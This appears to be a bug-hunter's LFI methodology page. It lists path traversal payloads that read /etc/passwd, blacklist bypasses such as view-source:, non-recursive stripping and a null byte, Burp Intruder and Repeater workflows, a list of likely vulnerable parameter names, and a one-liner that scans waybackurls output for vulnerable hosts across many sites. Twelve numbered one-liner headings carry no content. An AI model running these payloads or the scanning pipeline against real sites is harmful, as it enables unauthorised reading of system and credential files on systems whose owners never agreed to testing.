🧨My LFI Methodology

TIP: file:///etc/passwd : Not authorized file://\/\/etc/passwd : Work

---------------------------------------------------------------

TIP: file:///etc/passwd blacklisted?

Use "view-source:file:///etc/passwd" "view-source" is often forgotten by developers in blacklists.

---------------------------------------------------------------

File Download to Check LFI

File Download Path Send to Burp intruder

Select Parameter Value to Payload Position

Select Burp Payload List: Fuzzing-Path Traversal (Single File)

Configuring the file name from Payload Processing -> Match/Replace rule:

Match regex: \{file\}

Replace with: etc/passwd

---------------------------------------------------------------

Check LFI Methods

File Download Path Send to Burp Repeater

Select Parameter Value to check Payload one by one

../../../etc/passwd <-- using Simple Check

/etc/passwd <-- using blocks directory traversal Sequences

....//....//....//etc/passwd <-- usingsequences stripped non-recursively

/var/www/images/../../../etc/passwd <-- using Default directories

../../../etc/passwd%00.png <-- with file extension using null byte

-------------------------------------------------------------

Top 25 parameters

Here’s list of top 25 parameters that could be vulnerable to local file inclusion (LFI) vulnerabilities

---------------------------------------------------------------

Local file inclusion at filemanager.php Endpoint

Parameter: path=

Payload: //....//....//....//....//....//....//....//....//....//etc/passwd

----------------------------------------------------------------

LFI Automate this with a one-liner

cat roots | assetfinder -subs-only | waybackurls | qsreplace "//....//....//....//....//....//....//....//....//....//etc/passwd" | httpx -nc -silent -mr "root:x" -t 5

----------------------------------------------------------------

(1) One-Liner LFI Finding

----------------------------------------------------------------

(2) One-Liner LFI Finding

----------------------------------------------------------------

(3) One-Liner LFI Finding

----------------------------------------------------------------

(4) One-Liner LFI Finding

----------------------------------------------------------------

(5) One-Liner LFI Finding

----------------------------------------------------------------

(6) One-Liner NGINX LFI Finding

----------------------------------------------------------------

(7) One-Liner LFI Finding

----------------------------------------------------------------

(8) One-Liner LFI Finding

----------------------------------------------------------------

(8) One-Liner LFI Finding

----------------------------------------------------------------

(9) One-Liner LFI Finding

----------------------------------------------------------------

(10) One-Liner LFI Finding

----------------------------------------------------------------

(11) One-Liner LFI Finding

----------------------------------------------------------------

(12) One-Liner LFI Finding

----------------------------------------------------------------

Endpoint of attack parameter

(dest =, redirect=,uri=,url=,path=,continue=,window,next,data,reference,site,html,val,validate,domain,callback,return,page,view,dir,show,file,document,root,folder,root,pg,style,pdf,feed,port,to,oot,navigation,open,result)

----------------------------------------------------------------

How to Find LFI Manual Using Burp Hackbar

1st target add to Scope then Crawling Pages and endpoints like: Page= , path=, file= open the Burp tab and click to Search Buton and Search for lfi Endpoints like: file= in Request Body then request sent to Repeater add to Lfi Payloads like: GET /showimage.php?file=../../etc/passwd using burp Hackbar and looking fo Responce then BOOM

----------------------------------------------------------------

How to Find LFI Using Burp Intruder | LFI Payload.txt

1st target add to Scope then Crawling Pages and endpoints like: Page= , path=, file= open the Burp tab and click to Search Buton and Search for lfi Endpoints like: file= in Request Body then request sent to Burp intruder and Select the Payload Position After Endpoint like: GET /showimage.php?file=../../etc/passwd and add to LFI_Payloads.txt in Payload Section then go to option tab and add to text root0:0:root: Grep-Mathch Section and start the Attack and looking for root0:0:root: Coloum Responce then BOOM

----------------------------------------------------------------

How to Find LFI Using wayback | gf | Burp Hackbar

/root/go/bin/waybackurl -u Target.com | /root/go/bin/gf lfi >> lfi.txt cat lfi.txt and Search for lfi Endpoints like: Page= , path= , file= in URl then open browser then request sent to Burp Repeater add to Lfi Payloads like: GET /showimage.php?file=../../etc/passwd using burp Hackbar and looking fo Responce then BOOM

----------------------------------------------------------------

How to Find LFI Using wayback | gf | Burp Intruder | LFI Payload.txt

/root/go/bin/waybackurl -u Target.com | /root/go/bin/gf lfi >> lfi.txt cat lfi.txt and Search for lfi Endpoints like: Page= , path= , file= in URl then open browser then request sent to Burp intruder and Select the Payload Position After Endpoint like: GET /showimage.php?file=../../etc/passwd and add to LFI_Payloads.txt in Payload Section then go to option tab and add to text root0:0:root: Grep-Mathch Section and start the Attack and looking for root0:0:root: Coloum Responce then BOOM

----------------------------------------------------------------

Last updated